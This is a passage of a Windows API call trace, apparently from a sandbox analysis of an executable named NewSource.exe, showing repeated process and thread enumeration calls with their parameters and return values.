returned 0x9b0 [0081.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.135] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsers777DownloadsNewSourceNewSource.exe")) returned 1 [0081.136] GetTickCount () returned 0x2a147 [0081.136] GetCurrentThreadId () returned 0x9b0 [0081.136] GetCurrentThreadId () returned 0x9b0 [0081.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.136] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0081.137] GetTickCount () returned 0x2a147 [0081.137] GetCurrentThreadId () returned 0x9b0 [0081.137] GetCurrentThreadId () returned 0x9b0 [0081.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.138] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.139] GetTickCount () returned 0x2a147 [0081.139] GetCurrentThreadId () returned 0x9b0 [0081.139] GetCurrentThreadId () returned 0x9b0 [0081.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0081.139] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0081.140] GetTickCount () returned 0x2a147 [0081.140] GetCurrentThreadId () returned 0x9b0 [0081.140] GetCurrentThreadId () returned 0x9b0 [0081.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.140] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.141] GetTickCount () returned 0x2a147 [0081.141] GetCurrentThreadId () returned 0x9b0 [0081.141] GetCurrentThreadId () returned 0x9b0 [0081.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0081.141] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0081.142] GetTickCount () returned 0x2a157 [0081.147] Thread32First (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.148] GetCurrentThreadId () returned 0x9b0 [0081.148] GetCurrentThreadId () returned 0x9b0 [0081.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.149] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.150] GetTickCount () returned 0x2a157 [0081.150] GetCurrentThreadId () returned 0x9b0 [0081.150] GetCurrentThreadId () returned 0x9b0 [0081.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.150] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.151] GetTickCount () returned 0x2a157 [0081.151] GetCurrentThreadId () returned 0x9b0 [0081.151] GetCurrentThreadId () returned 0x9b0 [0081.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.151] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.152] GetTickCount () returned 0x2a157 [0081.152] GetCurrentThreadId () returned 0x9b0 [0081.152] GetCurrentThreadId () returned 0x9b0 [0081.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.152] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.153] GetTickCount () returned 0x2a157 [0081.153] GetCurrentThreadId () returned 0x9b0 [0081.153] GetCurrentThreadId () returned 0x9b0 [0081.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.154] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.154] GetTickCount () returned 0x2a157 [0081.155] GetCurrentThreadId () returned 0x9b0 [0081.155] GetCurrentThreadId () returned 0x9b0 [0081.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.155] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.156] GetTickCount () returned 0x2a157 [0081.156] GetCurrentThreadId () returned 0x9b0 [0081.156] GetCurrentThreadId () returned 0x9b0 [0081.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.156] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.157] GetTickCount () returned 0x2a157 [0081.157] GetCurrentThreadId () returned 0x9b0 [0081.157] GetCurrentThreadId () returned 0x9b0 [0081.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.157] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.159] GetTickCount () returned 0x2a166 [0081.159] GetCurrentThreadId () returned 0x9b0 [0081.159] GetCurrentThreadId () returned 0x9b0 [0081.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.159] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.160] GetTickCount () returned 0x2a166 [0081.160] GetCurrentThreadId () returned 0x9b0 [0081.160] GetCurrentThreadId () returned 0x9b0 [0081.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.160] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.161] GetTickCount () returned 0x2a166 [0081.161] GetCurrentThreadId () returned 0x9b0 [0081.161] GetCurrentThreadId () returned 0x9b0 [0081.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0081.161] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.162] GetTickCount () returned 0x2a166 [0081.162] GetCurrentThreadId () returned 0x9b0 [0081.163] GetCurrentThreadId () returned 0x9b0 [0081.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.163] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.164] GetTickCount () returned 0x2a166 [0081.164] GetCurrentThreadId () returned 0x9b0 [0081.164] GetCurrentThreadId () returned 0x9b0 [0081.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.164] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.165] GetTickCount () returned 0x2a166 [0081.165] GetCurrentThreadId () returned 0x9b0 [0081.165] GetCurrentThreadId () returned 0x9b0 [0081.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.165] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.166] GetTickCount () returned 0x2a166 [0081.166] GetCurrentThreadId () returned 0x9b0 [0081.166] GetCurrentThreadId () returned 0x9b0 [0081.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.166] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.167] GetTickCount () returned 0x2a166 [0081.167] GetCurrentThreadId () returned 0x9b0 [0081.167] GetCurrentThreadId () returned 0x9b0 [0081.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.168] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.169] GetTickCount () returned 0x2a166 [0081.169] GetCurrentThreadId () returned 0x9b0 [0081.169] GetCurrentThreadId () returned 0x9b0 [0081.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.169] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.170] GetTickCount () returned 0x2a166 [0081.170] GetCurrentThreadId () returned 0x9b0 [0081.170] GetCurrentThreadId () returned 0x9b0 [0081.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.170] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.171] GetTickCount () returned 0x2a166 [0081.171] GetCurrentThreadId () returned 0x9b0 [0081.171] GetCurrentThreadId () returned 0x9b0 [0081.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.171] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.172] GetTickCount () returned 0x2a166 [0081.172] GetCurrentThreadId () returned 0x9b0 [0081.172] GetCurrentThreadId () returned 0x9b0 [0081.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.173] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.174] GetTickCount () returned 0x2a176 [0081.174] GetCurrentThreadId () returned 0x9b0 [0081.174] GetCurrentThreadId () returned 0x9b0 [0081.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.174] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.175] GetTickCount () returned 0x2a176 [0081.175] GetCurrentThreadId () returned 0x9b0 [0081.175] GetCurrentThreadId () returned 0x9b0 [0081.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0081.175] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.176] GetTickCount () returned 0x2a176 [0081.176] GetCurrentThreadId () returned 0x9b0 [0081.176] GetCurrentThreadId () returned 0x9b0 [0081.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.176] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.177] GetTickCount () returned 0x2a176 [0081.177] GetCurrentThreadId () returned 0x9b0 [0081.177] GetCurrentThreadId () returned 0x9b0 [0081.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.177] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.178] GetTickCount () returned 0x2a176 [0081.178] GetCurrentThreadId () returned 0x9b0 [0081.179] GetCurrentThreadId () returned 0x9b0 [0081.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.179] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.180] GetTickCount () returned 0x2a176 [0081.180] GetCurrentThreadId () returned 0x9b0 [0081.180] GetCurrentThreadId () returned 0x9b0 [0081.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.180] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.181] GetTickCount () returned 0x2a176 [0081.181] GetCurrentThreadId () returned 0x9b0 [0081.181] GetCurrentThreadId () returned 0x9b0 [0081.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.181] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.182] GetTickCount () returned 0x2a176 [0081.182] GetCurrentThreadId () returned 0x9b0 [0081.182] GetCurrentThreadId () returned 0x9b0 [0081.182] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.182] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.183] GetTickCount () returned 0x2a176 [0081.183] GetCurrentThreadId () returned 0x9b0 [0081.183] GetCurrentThreadId () returned 0x9b0 [0081.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.184] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.185] GetTickCount () returned 0x2a176 [0081.185] GetCurrentThreadId () returned 0x9b0 [0081.185] GetCurrentThreadId () returned 0x9b0 [0081.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.185] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.186] GetTickCount () returned 0x2a176 [0081.186] GetCurrentThreadId () returned 0x9b0 [0081.186] GetCurrentThreadId () returned 0x9b0 [0081.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.186] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.187] GetTickCount () returned 0x2a176 [0081.187] GetCurrentThreadId () returned 0x9b0 [0081.187] GetCurrentThreadId () returned 0x9b0 [0081.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.187] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.188] GetTickCount () returned 0x2a176 [0081.188] GetCurrentThreadId () returned 0x9b0 [0081.189] GetCurrentThreadId () returned 0x9b0 [0081.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.189] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.191] GetTickCount () returned 0x2a185 [0081.191] GetCurrentThreadId () returned 0x9b0 [0081.191] GetCurrentThreadId () returned 0x9b0 [0081.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.191] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.192] GetTickCount () returned 0x2a185 [0081.192] GetCurrentThreadId () returned 0x9b0 [0081.193] GetCurrentThreadId () returned 0x9b0 [0081.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.193] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.194] GetTickCount () returned 0x2a185 [0081.194] GetCurrentThreadId () returned 0x9b0 [0081.194] GetCurrentThreadId () returned 0x9b0 [0081.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.194] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.195] GetTickCount () returned 0x2a185 [0081.195] GetCurrentThreadId () returned 0x9b0 [0081.195] GetCurrentThreadId () returned 0x9b0 [0081.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.195] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.196] GetTickCount () returned 0x2a185 [0081.196] GetCurrentThreadId () returned 0x9b0 [0081.196] GetCurrentThreadId () returned 0x9b0 [0081.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.196] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.197] GetTickCount () returned 0x2a185 [0081.198] GetCurrentThreadId () returned 0x9b0 [0081.198] GetCurrentThreadId () returned 0x9b0 [0081.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.198] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.199] GetTickCount () returned 0x2a185 [0081.199] GetCurrentThreadId () returned 0x9b0 [0081.199] GetCurrentThreadId () returned 0x9b0 [0081.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.199] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.200] GetTickCount () returned 0x2a185 [0081.200] GetCurrentThreadId () returned 0x9b0 [0081.200] GetCurrentThreadId () returned 0x9b0 [0081.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.200] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.201] GetTickCount () returned 0x2a185 [0081.201] GetCurrentThreadId () returned 0x9b0 [0081.201] GetCurrentThreadId () returned 0x9b0 [0081.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.201] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.202] GetTickCount () returned 0x2a185 [0081.202] GetCurrentThreadId () returned 0x9b0 [0081.203] GetCurrentThreadId () returned 0x9b0 [0081.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.203] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.204] GetTickCount () returned 0x2a185 [0081.204] GetCurrentThreadId () returned 0x9b0 [0081.204] GetCurrentThreadId () returned 0x9b0 [0081.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.204] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.205] GetTickCount () returned 0x2a195 [0081.205] GetCurrentThreadId () returned 0x9b0 [0081.205] GetCurrentThreadId () returned 0x9b0 [0081.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.205] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.206] GetTickCount () returned 0x2a195 [0081.206] GetCurrentThreadId () returned 0x9b0 [0081.206] GetCurrentThreadId () returned 0x9b0 [0081.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.206] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.207] GetTickCount () returned 0x2a195 [0081.207] GetCurrentThreadId () returned 0x9b0 [0081.207] GetCurrentThreadId () returned 0x9b0 [0081.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.208] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.209] GetTickCount () returned 0x2a195 [0081.209] GetCurrentThreadId () returned 0x9b0 [0081.209] GetCurrentThreadId () returned 0x9b0 [0081.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0081.209] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.210] GetTickCount () returned 0x2a195 [0081.210] GetCurrentThreadId () returned 0x9b0 [0081.210] GetCurrentThreadId () returned 0x9b0 [0081.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.210] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.211] GetTickCount () returned 0x2a195 [0081.211] GetCurrentThreadId () returned 0x9b0 [0081.211] GetCurrentThreadId () returned 0x9b0 [0081.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.211] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.212] GetTickCount () returned 0x2a195 [0081.212] GetCurrentThreadId () returned 0x9b0 [0081.212] GetCurrentThreadId () returned 0x9b0 [0081.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.212] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.213] GetTickCount () returned 0x2a195 [0081.213] GetCurrentThreadId () returned 0x9b0 [0081.214] GetCurrentThreadId () returned 0x9b0 [0081.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0081.214] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.215] GetTickCount () returned 0x2a195 [0081.215] GetCurrentThreadId () returned 0x9b0 [0081.215] GetCurrentThreadId () returned 0x9b0 [0081.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.215] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.216] GetTickCount () returned 0x2a195 [0081.216] GetCurrentThreadId () returned 0x9b0 [0081.216] GetCurrentThreadId () returned 0x9b0 [0081.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.216] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.217] GetTickCount () returned 0x2a195 [0081.217] GetCurrentThreadId () returned 0x9b0 [0081.217] GetCurrentThreadId () returned 0x9b0 [0081.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.217] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.218] GetTickCount () returned 0x2a195 [0081.218] GetCurrentThreadId () returned 0x9b0 [0081.218] GetCurrentThreadId () returned 0x9b0 [0081.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.219] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.219] GetTickCount () returned 0x2a195 [0081.220] GetCurrentThreadId () returned 0x9b0 [0081.220] GetCurrentThreadId () returned 0x9b0 [0081.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.220] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.221] GetTickCount () returned 0x2a1a5 [0081.221] GetCurrentThreadId () returned 0x9b0 [0081.221] GetCurrentThreadId () returned 0x9b0 [0081.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.221] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.222] GetTickCount () returned 0x2a1a5 [0081.222] GetCurrentThreadId () returned 0x9b0 [0081.222] GetCurrentThreadId () returned 0x9b0 [0081.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.222] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.223] GetTickCount () returned 0x2a1a5 [0081.223] GetCurrentThreadId () returned 0x9b0 [0081.223] GetCurrentThreadId () returned 0x9b0 [0081.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.224] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.225] GetTickCount () returned 0x2a1a5 [0081.225] GetCurrentThreadId () returned 0x9b0 [0081.225] GetCurrentThreadId () returned 0x9b0 [0081.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.225] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.226] GetTickCount () returned 0x2a1a5 [0081.226] GetCurrentThreadId () returned 0x9b0 [0081.226] GetCurrentThreadId () returned 0x9b0 [0081.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.226] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.227] GetTickCount () returned 0x2a1a5 [0081.227] GetCurrentThreadId () returned 0x9b0 [0081.227] GetCurrentThreadId () returned 0x9b0 [0081.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.227] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.228] GetTickCount () returned 0x2a1a5 [0081.228] GetCurrentThreadId () returned 0x9b0 [0081.228] GetCurrentThreadId () returned 0x9b0 [0081.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.229] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.230] GetTickCount () returned 0x2a1a5 [0081.230] GetCurrentThreadId () returned 0x9b0 [0081.230] GetCurrentThreadId () returned 0x9b0 [0081.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0081.230] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.231] GetTickCount () returned 0x2a1a5 [0081.231] GetCurrentThreadId () returned 0x9b0 [0081.231] GetCurrentThreadId () returned 0x9b0 [0081.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.231] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.232] GetTickCount () returned 0x2a1a5 [0081.232] GetCurrentThreadId () returned 0x9b0 [0081.232] GetCurrentThreadId () returned 0x9b0 [0081.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.232] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.233] GetTickCount () returned 0x2a1a5 [0081.233] GetCurrentThreadId () returned 0x9b0 [0081.233] GetCurrentThreadId () returned 0x9b0 [0081.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.233] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.234] GetTickCount () returned 0x2a1a5 [0081.234] GetCurrentThreadId () returned 0x9b0 [0081.235] GetCurrentThreadId () returned 0x9b0 [0081.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0081.235] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.236] GetTickCount () returned 0x2a1a5 [0081.236] GetCurrentThreadId () returned 0x9b0 [0081.236] GetCurrentThreadId () returned 0x9b0 [0081.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.236] Thread32Next (hSnapshot=0x37c, 